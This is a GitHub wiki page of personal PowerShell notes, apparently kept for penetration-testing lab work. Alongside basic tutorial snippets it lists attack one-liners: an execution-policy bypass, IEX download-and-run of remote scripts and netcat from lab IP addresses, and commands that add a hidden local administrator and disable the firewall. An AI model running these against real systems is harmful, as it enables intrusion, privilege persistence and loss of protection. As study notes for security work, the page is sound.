-
Notifications
You must be signed in to change notification settings - Fork 14
PowerShell
lethanhtung01011980 edited this page Apr 23, 2020
·
27 revisions
- To learn Powershell
- Win2012: (64 bit)
C:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe
- Allow to run remote signed:
set-ExecutionPolicy RemoteSigned
-
Bypass and run PS:
CMD > powershell -nologo -executionpolicy bypass -file test.ps1
%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe
%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/39719.ps1')"
- https://github.com/lethanhtung01011980/Notes/wiki/File-transfer-PowerShell
powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://10.10.14.9/nc.exe', 'C:\Users\kostas\Desktop\nc.exe')
- (Not working?) In PS Shell, PS >
IEX(New-Object Net.Webclient).downloadString('http://10.10.14.4/Sherlock.ps1')
.\FirstScript.ps1
& "X:\FirstScript.ps1"
- 'cmd > powershell.exe > .\FirstScript.ps1'
- In cmd,
powershell.exe .\hello.ps1
- PS > "dir" | cmd
"net user newuser2 Password123 /add" | cmd
"net localgroup administrators newuser2 /add" | cmd
"netsh advfirewall set allprofiles state off" | cmd
Ref: https://www.guru99.com/powershell-tutorial.html
- Create folder:
New-Item -Path 'X:\Guru99' -ItemType Directory
- Echo:
Write-Host "Hello, Kevin"
- Create file:
New-Item "D:\hello2.ps1" -ItemType File
- Write to file:
Set-Content "D:\hello2.ps1" 'Welcome to TutorialsPoint'
- Read from file:
Get-Content "D:\hello2.ps1"
- Get current location:
Get-Location
Invoke a command
- $Command = 'Get-Process'
- Invoke-Expression $Command
- IEX $Command
- Tutorial: https://www.tutorialspoint.com/powershell/index.htm
- Special variables: https://www.tutorialspoint.com/powershell/powershell_special_variables.htm
- String:
@"This is a string"@